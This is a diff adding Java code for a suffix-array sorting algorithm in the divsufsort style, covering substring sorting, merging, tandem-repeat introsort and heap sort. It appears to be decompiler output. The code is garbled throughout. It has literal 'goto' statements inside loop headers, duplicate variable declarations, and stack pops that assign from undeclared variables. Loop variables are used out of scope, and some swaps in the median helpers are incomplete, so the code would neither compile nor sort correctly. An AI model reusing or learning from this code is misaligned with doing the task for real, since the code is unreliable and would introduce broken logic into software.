+            int e = first; for (int f = b - s; 0 < s; f++) {
+              swapElements(SA, e, SA, f);s--;e++;
+            }
+            if ((s = d - c) > (t = last - d - 1)) {
+              s = t;
+            }
+            e = b; for (f = last - s; 0 < s; f++) {
+              swapElements(SA, e, SA, f);s--;e++;
+            }
+            
+            a = first + (b - a);
+            c = last - (d - c);
+            b = v <= (T[(Td + SA[(pa + SA[a])] - 1)] & 0xFF) ? a : ssSubstringPartition(pa, a, c, depth);
+            
+            if (a - first <= last - c) {
+              if (last - c <= c - b) {
+                stack[(ssize++)] = new StackEntry(b, c, depth + 1, ssLog(c - b));
+                stack[(ssize++)] = new StackEntry(c, last, depth, limit);
+                last = a;
+              } else if (a - first <= c - b) {
+                stack[(ssize++)] = new StackEntry(c, last, depth, limit);
+                stack[(ssize++)] = new StackEntry(b, c, depth + 1, ssLog(c - b));
+                last = a;
+              } else {
+                stack[(ssize++)] = new StackEntry(c, last, depth, limit);
+                stack[(ssize++)] = new StackEntry(first, a, depth, limit);
+                first = b;
+                last = c;
+                depth++;
+                limit = ssLog(c - b);
+              }
+            }
+            else if (a - first <= c - b) {
+              stack[(ssize++)] = new StackEntry(b, c, depth + 1, ssLog(c - b));
+              stack[(ssize++)] = new StackEntry(first, a, depth, limit);
+              first = c;
+            } else if (last - c <= c - b) {
+              stack[(ssize++)] = new StackEntry(first, a, depth, limit);
+              stack[(ssize++)] = new StackEntry(b, c, depth + 1, ssLog(c - b));
+              first = c;
+            } else {
+              stack[(ssize++)] = new StackEntry(first, a, depth, limit);
+              stack[(ssize++)] = new StackEntry(c, last, depth, limit);
+              first = b;
+              last = c;
+              depth++;
+              limit = ssLog(c - b);
+            }
+          }
+          else {
+            limit++;
+            if ((T[(Td + SA[(pa + SA[first])] - 1)] & 0xFF) < v) {
+              first = ssSubstringPartition(pa, first, last, depth);
+              limit = ssLog(last - first);
+            }
+            depth++;
+          }
+        }
+      }
+    }
+  }
+  
+  private static void ssBlockSwap(int[] array1, int first1, int[] array2, int first2, int size)
+  {
+    int i = size;int a = first1; for (int b = first2; 0 < i; b++) {
+      swapElements(array1, a, array2, b);i--;a++;
+    }
+  }
+  
+  private void ssMergeForward(int pa, int[] buf, int bufoffset, int first, int middle, int last, int depth)
+  {
+    int[] SA = this.SA;
+    
+
+
+
+
+
+    int bufend = bufoffset + (middle - first) - 1;
+    ssBlockSwap(buf, bufoffset, SA, first, middle - first);
+    
+    int t = SA[first];int i = first;int j = bufoffset;int k = middle;
+    for (;;) { int r = ssCompare(pa + buf[j], pa + SA[k], depth);
+      if (r < 0) {
+        do {
+          SA[(i++)] = buf[j];
+          if (bufend <= j) {
+            buf[j] = t;
+            return;
+          }
+          buf[(j++)] = SA[i];
+        } while (buf[j] < 0);
+      } else if (r > 0) {
+        do {
+          SA[(i++)] = SA[k];
+          SA[(k++)] = SA[i];
+          if (last <= k) {
+            for (; j < bufend; buf[(j++)] = SA[i]) SA[(i++)] = buf[j];
+            SA[i] = buf[j];buf[j] = t;
+            return;
+          }
+        } while (SA[k] < 0);
+      } else {
+        SA[k] ^= 0xFFFFFFFF;
+        do {
+          SA[(i++)] = buf[j];
+          if (bufend <= j) {
+            buf[j] = t;
+            return;
+          }
+          buf[(j++)] = SA[i];
+        } while (buf[j] < 0);
+        do
+        {
+          SA[(i++)] = SA[k];
+          SA[(k++)] = SA[i];
+          if (last <= k) {
+            while (j < bufend) {
+              SA[(i++)] = buf[j];
+              buf[(j++)] = SA[i];
+            }
+            SA[i] = buf[j];buf[j] = t;
+            return;
+          }
+        } while (SA[k] < 0);
+      }
+    }
+  }
+  
+  private void ssMergeBackward(int pa, int[] buf, int bufoffset, int first, int middle, int last, int depth)
+  {
+    int[] SA = this.SA;
+    
+
+
+
+
+
+
+
+    int bufend = bufoffset + (last - middle);
+    ssBlockSwap(buf, bufoffset, SA, middle, last - middle);
+    
+    int x = 0;
+    int p1; int p1; if (buf[(bufend - 1)] < 0) {
+      x |= 0x1;
+      p1 = pa + (buf[(bufend - 1)] ^ 0xFFFFFFFF);
+    } else {
+      p1 = pa + buf[(bufend - 1)]; }
+    int p2;
+    int p2; if (SA[(middle - 1)] < 0) {
+      x |= 0x2;
+      p2 = pa + (SA[(middle - 1)] ^ 0xFFFFFFFF);
+    } else {
+      p2 = pa + SA[(middle - 1)];
+    }
+    int t = SA[(last - 1)];int i = last - 1;int j = bufend - 1;int k = middle - 1;
+    for (;;) {
+      int r = ssCompare(p1, p2, depth);
+      if (r > 0) {
+        if ((x & 0x1) != 0) {
+          do {
+            SA[(i--)] = buf[j];
+            buf[(j--)] = SA[i];
+          } while (buf[j] < 0);
+          x ^= 0x1;
+        }
+        SA[(i--)] = buf[j];
+        if (j <= bufoffset) {
+          buf[j] = t;
+          return;
+        }
+        buf[(j--)] = SA[i];
+        
+        if (buf[j] < 0) {
+          x |= 0x1;
+          p1 = pa + (buf[j] ^ 0xFFFFFFFF);
+        } else {
+          p1 = pa + buf[j];
+        }
+      } else if (r < 0) {
+        if ((x & 0x2) != 0) {
+          do {
+            SA[(i--)] = SA[k];
+            SA[(k--)] = SA[i];
+          } while (SA[k] < 0);
+          x ^= 0x2;
+        }
+        SA[(i--)] = SA[k];
+        SA[(k--)] = SA[i];
+        if (k < first) {
+          while (bufoffset < j) {
+            SA[(i--)] = buf[j];
+            buf[(j--)] = SA[i];
+          }
+          SA[i] = buf[j];
+          buf[j] = t;
+          return;
+        }
+        
+        if (SA[k] < 0) {
+          x |= 0x2;
+          p2 = pa + (SA[k] ^ 0xFFFFFFFF);
+        } else {
+          p2 = pa + SA[k];
+        }
+      } else {
+        if ((x & 0x1) != 0) {
+          do {
+            SA[(i--)] = buf[j];
+            buf[(j--)] = SA[i];
+          } while (buf[j] < 0);
+          x ^= 0x1;
+        }
+        SA[(i--)] = (buf[j] ^ 0xFFFFFFFF);
+        if (j <= bufoffset) {
+          buf[j] = t;
+          return;
+        }
+        buf[(j--)] = SA[i];
+        
+        if ((x & 0x2) != 0) {
+          do {
+            SA[(i--)] = SA[k];
+            SA[(k--)] = SA[i];
+          } while (SA[k] < 0);
+          x ^= 0x2;
+        }
+        SA[(i--)] = SA[k];
+        SA[(k--)] = SA[i];
+        if (k < first) {
+          while (bufoffset < j) {
+            SA[(i--)] = buf[j];
+            buf[(j--)] = SA[i];
+          }
+          SA[i] = buf[j];
+          buf[j] = t;
+          return;
+        }
+        
+        if (buf[j] < 0) {
+          x |= 0x1;
+          p1 = pa + (buf[j] ^ 0xFFFFFFFF);
+        } else {
+          p1 = pa + buf[j];
+        }
+        if (SA[k] < 0) {
+          x |= 0x2;
+          p2 = pa + (SA[k] ^ 0xFFFFFFFF);
+        } else {
+          p2 = pa + SA[k];
+        }
+      }
+    }
+  }
+  
+  private static int getIDX(int a) {
+    return 0 <= a ? a : a ^ 0xFFFFFFFF;
+  }
+  
+  private void ssMergeCheckEqual(int pa, int depth, int a) {
+    int[] SA = this.SA;
+    
+    if ((0 <= SA[a]) && (ssCompare(pa + getIDX(SA[(a - 1)]), pa + SA[a], depth) == 0)) {
+      SA[a] ^= 0xFFFFFFFF;
+    }
+  }
+  
+  private void ssMerge(int pa, int first, int middle, int last, int[] buf, int bufoffset, int bufsize, int depth)
+  {
+    int[] SA = this.SA;
+    
+    StackEntry[] stack = new StackEntry[64];
+    
+
+
+
+
+
+    int check = 0;int ssize = 0;
+    for (;;) {
+      if (last - middle <= bufsize) {
+        if ((first < middle) && (middle < last)) {
+          ssMergeBackward(pa, buf, bufoffset, first, middle, last, depth);
+        }
+        
+        if ((check & 0x1) != 0) {
+          ssMergeCheckEqual(pa, depth, first);
+        }
+        if ((check & 0x2) != 0) {
+          ssMergeCheckEqual(pa, depth, last);
+        }
+        if (ssize == 0) {
+          return;
+        }
+        StackEntry entry = stack[(--ssize)];
+        first = a;
+        middle = b;
+        last = c;
+        check = d;
+
+
+      }
+      else if (middle - first <= bufsize) {
+        if (first < middle) {
+          ssMergeForward(pa, buf, bufoffset, first, middle, last, depth);
+        }
+        if ((check & 0x1) != 0) {
+          ssMergeCheckEqual(pa, depth, first);
+        }
+        if ((check & 0x2) != 0) {
+          ssMergeCheckEqual(pa, depth, last);
+        }
+        if (ssize == 0) {
+          return;
+        }
+        StackEntry entry = stack[(--ssize)];
+        first = a;
+        middle = b;
+        last = c;
+        check = d;
+      }
+      else
+      {
+        int m = 0;int len = Math.min(middle - first, last - middle);int half = len >> 1;
+        for (; 0 < len; 
+            half >>= 1)
+        {
+          if (ssCompare(pa + getIDX(SA[(middle + m + half)]), pa + getIDX(SA[(middle - m - half - 1)]), depth) < 0)
+          {
+            m += half + 1;
+            half -= (len & 0x1 ^ 0x1);
+          }
+          len = half;
+        }
+        
+
+
+
+
+
+
+        if (0 < m) {
+          ssBlockSwap(SA, middle - m, SA, middle, m);
+          int j; int i = j = middle;
+          int next = 0;
+          if (middle + m < last) {
+            if (SA[(middle + m)] < 0) {
+              while (SA[(i - 1)] < 0) {
+                i--;
+              }
+              SA[(middle + m)] ^= 0xFFFFFFFF;
+            }
+            for (j = middle; SA[j] < 0;) {
+              j++;
+            }
+            next = 1;
+          }
+          if (i - first <= last - j) {
+            stack[(ssize++)] = new StackEntry(j, middle + m, last, check & 0x2 | next & 0x1);
+            middle -= m;
+            last = i;
+            check &= 0x1;
+          } else {
+            if ((i == middle) && (middle == j)) {
+              next <<= 1;
+            }
+            stack[(ssize++)] = new StackEntry(first, middle - m, i, check & 0x1 | next & 0x2);
+            first = j;
+            middle += m;
+            check = check & 0x2 | next & 0x1;
+          }
+        } else {
+          if ((check & 0x1) != 0) {
+            ssMergeCheckEqual(pa, depth, first);
+          }
+          ssMergeCheckEqual(pa, depth, middle);
+          if ((check & 0x2) != 0) {
+            ssMergeCheckEqual(pa, depth, last);
+          }
+          if (ssize == 0) {
+            return;
+          }
+          StackEntry entry = stack[(--ssize)];
+          first = a;
+          middle = b;
+          last = c;
+          check = d;
+        }
+      }
+    }
+  }
+  
+  private void subStringSort(int pa, int first, int last, int[] buf, int bufoffset, int bufsize, int depth, boolean lastsuffix, int size)
+  {
+    int[] SA = this.SA;
+    
+
+
+
+
+
+
+    if (lastsuffix) {
+      first++;
+    }
+    int a = first; for (int i = 0; a + 1024 < last; i++) {
+      ssMultiKeyIntroSort(pa, a, a + 1024, depth);
+      int[] curbuf = SA;
+      int curbufoffset = a + 1024;
+      int curbufsize = last - (a + 1024);
+      if (curbufsize <= bufsize) {
+        curbufsize = bufsize;
+        curbuf = buf;
+        curbufoffset = bufoffset;
+      }
+      int b = a;int k = 1024; for (int j = i; (j & 0x1) != 0; j >>>= 1) {
+        ssMerge(pa, b - k, b, b + k, curbuf, curbufoffset, curbufsize, depth);b -= k;k <<= 1;
+      }
+      a += 1024;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    ssMultiKeyIntroSort(pa, a, last, depth);
+    
+    for (int k = 1024; i != 0; i >>= 1) {
+      if ((i & 0x1) != 0) {
+        ssMerge(pa, a - k, a, last, buf, bufoffset, bufsize, depth);
+        a -= k;
+      }
+      k <<= 1;
+    }
+    
+
+
+
+
+    if (lastsuffix)
+    {
+      a = first;i = SA[(first - 1)];int r = 1;
+      for (; (a < last) && ((SA[a] < 0) || (0 < (r = ssCompareLast(pa, pa + i, pa + SA[a], depth, size)))); 
+          a++) {
+        SA[(a - 1)] = SA[a];
+      }
+      if (r == 0) {
+        SA[a] ^= 0xFFFFFFFF;
+      }
+      SA[(a - 1)] = i;
+    }
+  }
+  
+
+  private int trGetC(int isa, int isaD, int isaN, int p)
+  {
+    return isaD + p < isaN ? SA[(isaD + p)] : SA[(isa + (isaD - isa + p) % (isaN - isa))];
+  }
+  
+
+  private void trFixdown(int isa, int isaD, int isaN, int sa, int i, int size)
+  {
+    int[] SA = this.SA;
+    
+
+
+
+
+    int v = SA[(sa + i)]; int j; int k; for (int c = trGetC(isa, isaD, isaN, v); (j = 2 * i + 1) < size; i = k) {
+      k = j++;
+      int d = trGetC(isa, isaD, isaN, SA[(sa + k)]);
+      int e; if (d < (e = trGetC(isa, isaD, isaN, SA[(sa + j)]))) {
+        k = j;
+        d = e;
+      }
+      if (d <= c) {
+        break;
+      }
+      SA[(sa + i)] = SA[(sa + k)];
+    }
+    
+
+
+
+
+
+
+
+
+    SA[(sa + i)] = v;
+  }
+  
+  private void trHeapSort(int isa, int isaD, int isaN, int sa, int size) {
+    int[] SA = this.SA;
+    
+
+
+
+    int m = size;
+    if (size % 2 == 0) {
+      m--;
+      if (trGetC(isa, isaD, isaN, SA[(sa + m / 2)]) < trGetC(isa, isaD, isaN, SA[(sa + m)])) {
+        swapElements(SA, sa + m, SA, sa + m / 2);
+      }
+    }
+    
+    for (int i = m / 2 - 1; 0 <= i; i--) {
+      trFixdown(isa, isaD, isaN, sa, i, m);
+    }
+    
+    if (size % 2 == 0) {
+      swapElements(SA, sa, SA, sa + m);
+      trFixdown(isa, isaD, isaN, sa, 0, m);
+    }
+    
+    for (i = m - 1; 0 < i; i--) {
+      int t = SA[sa];
+      SA[sa] = SA[(sa + i)];
+      trFixdown(isa, isaD, isaN, sa, 0, i);
+      SA[(sa + i)] = t;
+    }
+  }
+  
+  private void trInsertionSort(int isa, int isaD, int isaN, int first, int last) {
+    int[] SA = this.SA;
+    
+
+
+
+    for (int a = first + 1; a < last; a++) {
+      int t = SA[a]; int r; for (int b = a - 1; 0 > (r = trGetC(isa, isaD, isaN, t) - trGetC(isa, isaD, isaN, SA[b]));) {
+        do {
+          SA[(b + 1)] = SA[b];
+        } while ((first <= --b) && (SA[b] < 0));
+        if (b < first) {
+          break;
+        }
+      }
+      if (r == 0) {
+        SA[b] ^= 0xFFFFFFFF;
+      }
+      SA[(b + 1)] = t;
+    }
+  }
+  
+  private static int trLog(int n) {
+    return (n & 0xFF00) != 0 ? 8 + LOG_2_TABLE[(n >> 8 & 0xFF)] : (n & 0xFFFF0000) != 0 ? LOG_2_TABLE[(n >> 16 & 0x10F)] : (n & 0xFF000000) != 0 ? 24 + LOG_2_TABLE[(n >> 24 & 0xFF)] : LOG_2_TABLE[(n & 0xFF)];
+  }
+  
+
+  private int trMedian3(int isa, int isaD, int isaN, int v1, int v2, int v3)
+  {
+    int[] SA = this.SA;
+    
+    int SA_v1 = trGetC(isa, isaD, isaN, SA[v1]);
+    int SA_v2 = trGetC(isa, isaD, isaN, SA[v2]);
+    int SA_v3 = trGetC(isa, isaD, isaN, SA[v3]);
+    
+    if (SA_v1 > SA_v2) {
+      int temp = v1;
+      v1 = v2;
+      v2 = temp;
+      int SA_vtemp = SA_v1;
+      SA_v1 = SA_v2;
+      SA_v2 = SA_vtemp;
+    }
+    if (SA_v2 > SA_v3) {
+      if (SA_v1 > SA_v3) {
+        return v1;
+      }
+      return v3;
+    }
+    
+    return v2;
+  }
+  
+  private int trMedian5(int isa, int isaD, int isaN, int v1, int v2, int v3, int v4, int v5) {
+    int[] SA = this.SA;
+    
+    int SA_v1 = trGetC(isa, isaD, isaN, SA[v1]);
+    int SA_v2 = trGetC(isa, isaD, isaN, SA[v2]);
+    int SA_v3 = trGetC(isa, isaD, isaN, SA[v3]);
+    int SA_v4 = trGetC(isa, isaD, isaN, SA[v4]);
+    int SA_v5 = trGetC(isa, isaD, isaN, SA[v5]);
+    
+
+
+    if (SA_v2 > SA_v3) {
+      int temp = v2;
+      v2 = v3;
+      v3 = temp;
+      int SA_vtemp = SA_v2;
+      SA_v2 = SA_v3;
+      SA_v3 = SA_vtemp;
+    }
+    if (SA_v4 > SA_v5) {
+      int temp = v4;
+      v4 = v5;
+      v5 = temp;
+      int SA_vtemp = SA_v4;
+      SA_v4 = SA_v5;
+      SA_v5 = SA_vtemp;
+    }
+    if (SA_v2 > SA_v4) {
+      int temp = v2;
+      v4 = temp;
+      int SA_vtemp = SA_v2;
+      SA_v4 = SA_vtemp;
+      temp = v3;
+      v3 = v5;
+      v5 = temp;
+      SA_vtemp = SA_v3;
+      SA_v3 = SA_v5;
+      SA_v5 = SA_vtemp;
+    }
+    if (SA_v1 > SA_v3) {
+      int temp = v1;
+      v1 = v3;
+      v3 = temp;
+      int SA_vtemp = SA_v1;
+      SA_v1 = SA_v3;
+      SA_v3 = SA_vtemp;
+    }
+    if (SA_v1 > SA_v4) {
+      int temp = v1;
+      v4 = temp;
+      int SA_vtemp = SA_v1;
+      SA_v4 = SA_vtemp;
+      v3 = v5;
+      SA_v3 = SA_v5;
+    }
+    if (SA_v3 > SA_v4) {
+      return v4;
+    }
+    return v3;
+  }
+  
+
+
+  private int trPivot(int isa, int isaD, int isaN, int first, int last)
+  {
+    int t = last - first;
+    int middle = first + t / 2;
+    
+    if (t <= 512) {
+      if (t <= 32) {
+        return trMedian3(isa, isaD, isaN, first, middle, last - 1);
+      }
+      t >>= 2;
+      return trMedian5(isa, isaD, isaN, first, first + t, middle, last - 1 - t, last - 1);
+    }
+    
+
+
+
+
+    t >>= 3;
+    return trMedian3(isa, isaD, isaN, trMedian3(isa, isaD, isaN, first, first + t, first + (t << 1)), trMedian3(isa, isaD, isaN, middle - t, middle, middle + t), trMedian3(isa, isaD, isaN, last - 1 - (t << 1), last - 1 - t, last - 1));
+  }
+  
+
+
+
+
+
+
+  private void lsUpdateGroup(int isa, int first, int last)
+  {
+    int[] SA = this.SA;
+    
+
+
+
+    for (int a = first; a < last; a++) {
+      if (0 <= SA[a]) {
+        int b = a;
+        do {
+          SA[(isa + SA[a])] = a;
+          a++; } while ((a < last) && (0 <= SA[a]));
+        SA[b] = (b - a);
+        if (last <= a) {
+          break;
+        }
+      }
+      int b = a;
+      do {
+        SA[a] ^= 0xFFFFFFFF;
+      } while (SA[(++a)] < 0);
+      int t = a;
+      do {
+        SA[(isa + SA[b])] = t;
+        b++; } while (b <= a);
+    }
+  }
+  
+  private void lsIntroSort(int isa, int isaD, int isaN, int first, int last) {
+    int[] SA = this.SA;
+    
+    StackEntry[] stack = new StackEntry[64];
+    
+
+
+
+    int x = 0;
+    
+
+    int ssize = 0;int limit = trLog(last - first);
+    for (;;) { if (last - first <= 8) {
+        if (1 < last - first) {
+          trInsertionSort(isa, isaD, isaN, first, last);
+          lsUpdateGroup(isa, first, last);
+        } else if (last - first == 1) {
+          SA[first] = -1;
+        }
+        if (ssize == 0) {
+          return;
+        }
+        StackEntry entry = stack[(--ssize)];
+        first = a;
+        last = b;
+        limit = c;
+
+
+      }
+      else if (limit-- == 0) {
+        trHeapSort(isa, isaD, isaN, first, last - first);
+        int b; for (int a = last - 1; first < a; a = b) {
+          x = trGetC(isa, isaD, isaN, SA[a]); for (b = a - 1; 
+              (first <= b) && (trGetC(isa, isaD, isaN, SA[b]) == x); 
+              b--) {
+            SA[b] ^= 0xFFFFFFFF;
+          }
+        }
+        lsUpdateGroup(isa, first, last);
+        if (ssize == 0) {
+          return;
+        }
+        StackEntry entry = stack[(--ssize)];
+        first = a;
+        last = b;
+        limit = c;
+      }
+      else
+      {
+        int a = trPivot(isa, isaD, isaN, first, last);
+        swapElements(SA, first, SA, a);
+        int v = trGetC(isa, isaD, isaN, SA[first]);
+        
+        int b = first + 1;
+        while ((b < last) && ((x = trGetC(isa, isaD, isaN, SA[b])) == v)) {
+          b++;
+        }
+        if (((a = b) < last) && (x < v)) {
+          for (;;) { b++; if ((b >= last) || ((x = trGetC(isa, isaD, isaN, SA[b])) > v)) break;
+            if (x == v) {
+              swapElements(SA, b, SA, a);
+              a++;
+            }
+          }
+        }
+        
+        int c = last - 1;
+        while ((b < c) && ((x = trGetC(isa, isaD, isaN, SA[c])) == v))
+          c--;
+        int d;
+        if ((b < (d = c)) && (x > v)) {
+          while ((b < --c) && ((x = trGetC(isa, isaD, isaN, SA[c])) >= v)) {
+            if (x == v) {
+              swapElements(SA, c, SA, d);
+              d--;
+            }
+          }
+        }
+        for (; b < c; 
+            
+
+
+
+
+
+
+
+
+
+            goto 609)
+        {
+          swapElements(SA, b, SA, c);
+          for (;;) { b++; if ((b >= c) || ((x = trGetC(isa, isaD, isaN, SA[b])) > v)) break;
+            if (x == v) {
+              swapElements(SA, b, SA, a);
+              a++;
+            }
+          }
+          while ((b < --c) && ((x = trGetC(isa, isaD, isaN, SA[c])) >= v)) {
+            if (x == v) {
+              swapElements(SA, c, SA, d);
+              d--;
+            }
+          }
+        }
+        
+        if (a <= d) {
+          c = b - 1;
+          int s;
+          int t; if ((s = a - first) > (t = b - a)) {
+            s = t;
+          }
+          int e = first; for (int f = b - s; 0 < s; f++) {
+            swapElements(SA, e, SA, f);s--;e++;
+          }
+          if ((s = d - c) > (t = last - d - 1)) {
+            s = t;
+          }
+          e = b; for (f = last - s; 0 < s; f++) {
+            swapElements(SA, e, SA, f);s--;e++;
+          }
+          
+          a = first + (b - a);
+          b = last - (d - c);
+          
+          c = first; for (v = a - 1; c < a; c++) {
+            SA[(isa + SA[c])] = v;
+          }
+          if (b < last) {
+            c = a; for (v = b - 1; c < b; c++) {
+              SA[(isa + SA[c])] = v;
+            }
+          }
+          if (b - a == 1) {
+            SA[a] = -1;
+          }
+          
+          if (a - first <= last - b) {
+            if (first < a) {
+              stack[(ssize++)] = new StackEntry(b, last, limit, 0);
+              last = a;
+            } else {
+              first = b;
+            }
+          }
+          else if (b < last) {
+            stack[(ssize++)] = new StackEntry(first, a, limit, 0);
+            first = b;
+          } else {
+            last = a;
+          }
+        }
+        else {
+          if (ssize == 0) {
+            return;
+          }
+          StackEntry entry = stack[(--ssize)];
+          first = a;
+          last = b;
+          limit = c;
+        }
+      }
+    }
+  }
+  
+  private void lsSort(int isa, int n, int depth) { int[] SA = this.SA;
+    
+
+
+
+
+    for (int isaD = isa + depth; -n < SA[0]; isaD += isaD - isa) {
+      int first = 0;
+      int skip = 0;
+      int t;
+      do { if ((t = SA[first]) < 0) {
+          first -= t;
+          skip += t;
+        } else {
+          if (skip != 0) {
+            SA[(first + skip)] = skip;
+            skip = 0;
+          }
+          int last = SA[(isa + t)] + 1;
+          lsIntroSort(isa, isaD, isa + n, first, last);
+          first = last;
+        }
+      } while (first < n);
+      if (skip != 0) {
+        SA[(first + skip)] = skip;
+      }
+      if (n < isaD - isa) {
+        first = 0;
+        do {
+          if ((t = SA[first]) < 0) {
+            first -= t;
+          } else {
+            int last = SA[(isa + t)] + 1;
+            for (int i = first; i < last; i++) {
+              SA[(isa + SA[i])] = i;
+            }
+            first = last;
+          }
+        } while (first < n);
+        break;
+      }
+    }
+  }
+  
+  private static class PartitionResult
+  {
+    final int first;
+    final int last;
+    
+    PartitionResult(int first, int last)
+    {
+      this.first = first;
+      this.last = last;
+    }
+  }
+  
+  private PartitionResult trPartition(int isa, int isaD, int isaN, int first, int last, int v)
+  {
+    int[] SA = this.SA;
+    
+
+
+    int x = 0;
+    
+    int b = first;
+    while ((b < last) && ((x = trGetC(isa, isaD, isaN, SA[b])) == v))
+      b++;
+    int a;
+    if (((a = b) < last) && (x < v)) {
+      for (;;) { b++; if ((b >= last) || ((x = trGetC(isa, isaD, isaN, SA[b])) > v)) break;
+        if (x == v) {
+          swapElements(SA, b, SA, a);
+          a++;
+        }
+      }
+    }
+    
+    int c = last - 1;
+    while ((b < c) && ((x = trGetC(isa, isaD, isaN, SA[c])) == v))
+      c--;
+    int d;
+    if ((b < (d = c)) && (x > v)) {
+      while ((b < --c) && ((x = trGetC(isa, isaD, isaN, SA[c])) >= v)) {
+        if (x == v) {
+          swapElements(SA, c, SA, d);
+          d--;
+        }
+      }
+    }
+    for (; b < c; 
+        
+
+
+
+
+
+
+
+
+
+        goto 299)
+    {
+      swapElements(SA, b, SA, c);
+      for (;;) { b++; if ((b >= c) || ((x = trGetC(isa, isaD, isaN, SA[b])) > v)) break;
+        if (x == v) {
+          swapElements(SA, b, SA, a);
+          a++;
+        }
+      }
+      while ((b < --c) && ((x = trGetC(isa, isaD, isaN, SA[c])) >= v)) {
+        if (x == v) {
+          swapElements(SA, c, SA, d);
+          d--;
+        }
+      }
+    }
+    
+    if (a <= d) {
+      c = b - 1;
+      int s; int t; if ((s = a - first) > (t = b - a)) {
+        s = t;
+      }
+      int e = first; for (int f = b - s; 0 < s; f++) {
+        swapElements(SA, e, SA, f);s--;e++;
+      }
+      if ((s = d - c) > (t = last - d - 1)) {
+        s = t;
+      }
+      e = b; for (f = last - s; 0 < s; f++) {
+        swapElements(SA, e, SA, f);s--;e++;
+      }
+      first += b - a;
+      last -= d - c;
+    }
+    return new PartitionResult(first, last);
+  }
+  
+  private void trCopy(int isa, int isaN, int first, int a, int b, int last, int depth)
+  {
+    int[] SA = this.SA;
+    
+
+
+
+    int v = b - 1;
+    
+    int c = first; for (int d = a - 1; c <= d; c++) { int s;
+      if ((s = SA[c] - depth) < 0) {
+        s += isaN - isa;
+      }
+      if (SA[(isa + s)] == v) {
+        SA[(++d)] = s;
+        SA[(isa + s)] = d;
+      }
+    }
+    c = last - 1;int e = d + 1; for (d = b; e < d; c--) { int s;
+      if ((s = SA[c] - depth) < 0) {
+        s += isaN - isa;
+      }
+      if (SA[(isa + s)] == v) {
+        SA[(--d)] = s;
+        SA[(isa + s)] = d;
+      }
+    }
+  }
+  
+  private void trIntroSort(int isa, int isaD, int isaN, int first, int last, TRBudget budget, int size)
+  {
+    int[] SA = this.SA;
+    
+    StackEntry[] stack = new StackEntry[64];
+    
+
+
+    int x = 0;
+    
+
+
+    int ssize = 0;int limit = trLog(last - first);
+    for (;;) { if (limit < 0) {
+        if (limit == -1) {
+          if (!budget.update(size, last - first)) {
+            break;
+          }
+          PartitionResult result = trPartition(isa, isaD - 1, isaN, first, last, last - 1);
+          int a = first;
+          int b = last;
+          if ((first < a) || (b < last)) {
+            if (a < last) {
+              int c = first; for (int v = a - 1; c < a; c++) {
+                SA[(isa + SA[c])] = v;
+              }
+            }
+            if (b < last) {
+              int c = a; for (int v = b - 1; c < b; c++) {
+                SA[(isa + SA[c])] = v;
+              }
+            }
+            
+            stack[(ssize++)] = new StackEntry(0, a, b, 0);
+            stack[(ssize++)] = new StackEntry(isaD - 1, first, last, -2);
+            if (a - first <= last - b) {
+              if (1 < a - first) {
+                stack[(ssize++)] = new StackEntry(isaD, b, last, trLog(last - b));
+                last = a;limit = trLog(a - first);
+              } else if (1 < last - b) {
+                first = b;limit = trLog(last - b);
+              } else {
+                if (ssize == 0) {
+                  return;
+                }
+                StackEntry entry = stack[(--ssize)];
+                isaD = a;
+                first = b;
+                last = c;
+                limit = d;
+              }
+            }
+            else if (1 < last - b) {
+              stack[(ssize++)] = new StackEntry(isaD, first, a, trLog(a - first));
+              first = b;
+              limit = trLog(last - b);
+            } else if (1 < a - first) {
+              last = a;
+              limit = trLog(a - first);
+            } else {
+              if (ssize == 0) {
+                return;
+              }
+              StackEntry entry = stack[(--ssize)];
+              isaD = a;
+              first = b;
+              last = c;
+              limit = d;
+            }
+          }
+          else {
+            for (int c = first; c < last; c++) {
+              SA[(isa + SA[c])] = c;
+            }
+            if (ssize == 0) {
+              return;
+            }
+            StackEntry entry = stack[(--ssize)];
+            isaD = a;
+            first = b;
+            last = c;
+            limit = d;
+          }
+        } else if (limit == -2) {
+          int a = b;
+          int b = c;
+          trCopy(isa, isaN, first, a, b, last, isaD - isa);
+          if (ssize == 0) {
+            return;
+          }
+          StackEntry entry = stack[(--ssize)];
+          isaD = a;
+          first = b;
+          last = c;
+          limit = d;
+        } else {
+          if (0 <= SA[first]) {
+            int a = first;
+            do {
+              SA[(isa + SA[a])] = a;
+              a++; } while ((a < last) && (0 <= SA[a]));
+            first = a;
+          }
+          if (first < last) {
+            int a = first;
+            do {
+              SA[a] ^= 0xFFFFFFFF;
+            } while (SA[(++a)] < 0);
+            int next = SA[(isa + SA[a])] != SA[(isaD + SA[a])] ? trLog(a - first + 1) : -1;
+            a++; if (a < last) {
+              int b = first; for (int v = a - 1; b < a; b++) {
+                SA[(isa + SA[b])] = v;
+              }
+            }
+            
+            if (a - first <= last - a) {
+              stack[(ssize++)] = new StackEntry(isaD, a, last, -3);
+              isaD++;last = a;limit = next;
+            }
+            else if (1 < last - a) {
+              stack[(ssize++)] = new StackEntry(isaD + 1, first, a, next);
+              first = a;limit = -3;
+            } else {
+              isaD++;last = a;limit = next;
+            }
+          }
+          else {
+            if (ssize == 0) {
+              return;
+            }
+            StackEntry entry = stack[(--ssize)];
+            isaD = a;
+            first = b;
+            last = c;
+            limit = d;
+          }
+          
+        }
+        
+      }
+      else if (last - first <= 8) {
+        if (!budget.update(size, last - first)) {
+          break;
+        }
+        trInsertionSort(isa, isaD, isaN, first, last);
+        limit = -3;
+
+
+      }
+      else if (limit-- == 0) {
+        if (!budget.update(size, last - first)) {
+          break;
+        }
+        trHeapSort(isa, isaD, isaN, first, last - first);
+        int b; for (int a = last - 1; first < a; a = b) {
+          x = trGetC(isa, isaD, isaN, SA[a]); for (b = a - 1; 
+              (first <= b) && (trGetC(isa, isaD, isaN, SA[b]) == x); 
+              b--) {
+            SA[b] ^= 0xFFFFFFFF;
+          }
+        }
+        limit = -3;
+      }
+      else
+      {
+        int a = trPivot(isa, isaD, isaN, first, last);
+        
+        swapElements(SA, first, SA, a);
+        int v = trGetC(isa, isaD, isaN, SA[first]);
+        
+        int b = first + 1;
+        while ((b < last) && ((x = trGetC(isa, isaD, isaN, SA[b])) == v)) {
+          b++;
+        }
+        if (((a = b) < last) && (x < v)) {
+          for (;;) { b++; if ((b >= last) || ((x = trGetC(isa, isaD, isaN, SA[b])) > v)) break;
+            if (x == v) {
+              swapElements(SA, b, SA, a);
+              a++;
+            }
+          }
+        }
+        
+        int c = last - 1;
+        while ((b < c) && ((x = trGetC(isa, isaD, isaN, SA[c])) == v))
+          c--;
+        int d;
+        if ((b < (d = c)) && (x > v)) {
